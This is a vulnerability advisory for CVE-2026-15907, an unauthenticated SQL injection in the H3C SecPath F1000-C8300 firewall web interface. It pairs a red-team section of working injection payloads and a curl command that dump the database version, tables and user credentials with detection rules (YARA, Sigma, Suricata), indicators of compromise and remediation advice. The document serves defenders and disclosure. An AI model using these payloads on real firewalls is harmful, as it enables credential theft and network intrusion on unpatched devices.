CVE-2026-15907

Executive Summary

CVE-2026-15907 is a critical SQL injection vulnerability discovered in H3C SecPath F1000-C8300 firewall appliances, affecting firmware versions up to 20260522. The flaw resides in the /webui/?g=log_fw_nbc_mail_jsondata endpoint, where the subject parameter is improperly sanitized before being used in database queries. An unauthenticated remote attacker can exploit this to execute arbitrary SQL commands, potentially leading to full database compromise, credential theft, and lateral movement within the network. The vendor has confirmed the vulnerability and plans a fix, but no patch is currently available. Public exploit code has been released, increasing the immediate risk to unpatched devices.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in H3C network appliances.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated remote SQL injection), the following is a reasonable assessment:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Public exploit, no patch, widespread use of H3C devices in enterprise networks.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the subject parameter of the log_fw_nbc_mail_jsondata function. The endpoint is used to retrieve email notification logs for firewall events. The subject argument is likely concatenated directly into a SQL query without parameterization or escaping.

Root Cause: Lack of input validation and prepared statements in the backend PHP or similar server-side code handling the /webui/ interface.

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /webui/?g=log_fw_nbc_mail_jsondata&subject=[SQL_PAYLOAD].
2. The server processes the request and constructs a SQL query like: SELECT * FROM logs WHERE subject = '[USER_INPUT]'.
3. The attacker's payload breaks out of the string context and executes arbitrary SQL commands.
4. The database returns results, which are then reflected in the HTTP response, allowing data exfiltration.

Potential Impact:

• Dump of firewall configuration, VPN credentials, and user accounts.
• Modification of firewall rules to allow malicious traffic.
• Denial of service via database corruption.
• Pivot point for deeper network intrusion.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, the vulnerable code likely resembles:

Vulnerable (PHP-like pseudocode):

$subject = $_GET['subject'];
$query = "SELECT * FROM log_fw_nbc_mail WHERE subject = '$subject'";
$result = mysqli_query($conn, $query);

Patched (expected fix):

$subject = $_GET['subject'];
$stmt = $conn->prepare("SELECT * FROM log_fw_nbc_mail WHERE subject = ?");
$stmt->bind_param("s", $subject);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: H3C SecPath F1000-C8300 with firmware <= 20260522.
• Network access to the web management interface (typically port 80/443).

Exploit Steps:

1. Identify vulnerable endpoint: http://<target>/webui/?g=log_fw_nbc_mail_jsondata
2. Test for SQL injection with a simple payload: subject=test' OR '1'='1
3. If successful, extract database version: subject=test' UNION SELECT @@version,2,3--
4. Enumerate tables: subject=test' UNION SELECT table_name,2,3 FROM information_schema.tables--
5. Dump credentials: subject=test' UNION SELECT username,password,3 FROM users--

Example curl command:

curl "http://192.168.1.1/webui/?g=log_fw_nbc_mail_jsondata&subject=test' UNION SELECT @@version,2,3--"

Blue Team

Detection:

• Monitor HTTP requests to /webui/?g=log_fw_nbc_mail_jsondata with unusual subject parameters containing SQL keywords (UNION, SELECT, OR, AND, etc.).
• Look for error messages in logs indicating SQL syntax errors.
• Use WAF rules to block SQL injection patterns.

Hunting:

• Search firewall logs for requests to the vulnerable endpoint with non-standard subject values.
• Check database logs for unexpected queries or errors.

Containment:

• If exploitation is suspected, isolate the device from the network.
• Block access to the /webui/ path from untrusted networks.
• Apply virtual patching via WAF until official fix is released.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /webui/?g=log_fw_nbc_mail_jsondata with subject parameter containing SQL injection patterns.
• Outbound database connections from the firewall to unexpected IPs (data exfiltration).
• Unusual HTTP response sizes from the vulnerable endpoint.

File IOCs:

• Modified log files on the firewall.
• Presence of web shells or backdoors in the /webui/ directory.

System IOCs:

• Unexpected user accounts created in the firewall's local database.
• Changes to firewall rules or VPN configurations.

Detection Engineering

YARA Rule

rule CVE_2026_15907_SQLi_Subject {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2026-15907 in H3C SecPath"
        author = "Valters IT"
        date = "2026-05-23"
        reference = "CVE-2026-15907"
    strings:
        $s1 = "/webui/?g=log_fw_nbc_mail_jsondata" ascii nocase
        $s2 = "subject=" ascii nocase
        $sqli1 = /subject=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i
        $sqli2 = /subject=.*--\s*$/i
        $sqli3 = /subject=.*\/\*/i
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2 or $sqli3)
}

Sigma Rule

title: CVE-2026-15907 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against H3C SecPath F1000-C8300
author: Valters IT
date: 2026/05/23
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/webui/?g=log_fw_nbc_mail_jsondata"
        cs-uri-query|re: "subject=.*['\"]\\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)"
    condition: selection
falsepositives:
    - Legitimate use of special characters in subject field (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-15907 SQL Injection Attempt"; flow:to_server,established; content:"/webui/?g=log_fw_nbc_mail_jsondata"; http_uri; pcre:"/subject=.*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|EXEC|xp_cmdshell)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: If possible, disconnect H3C SecPath F1000-C8300 from untrusted networks.
2. Restrict access: Use firewall rules to limit access to the web management interface to trusted IPs only.
3. Monitor logs: Enable detailed logging and monitor for exploitation attempts.

Long-term Fix:

• Apply the official patch from H3C once released.
• Upgrade to a patched firmware version.
• Implement input validation and parameterized queries in all web endpoints.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block SQL injection.
• Use network segmentation to limit exposure of management interfaces.
• Enable database activity monitoring to detect anomalous queries.

Valters IT signature: This report is provided for authorized security testing and defense purposes only. Unauthorized exploitation of CVE-2026-15907 is illegal. Always obtain proper authorization before testing.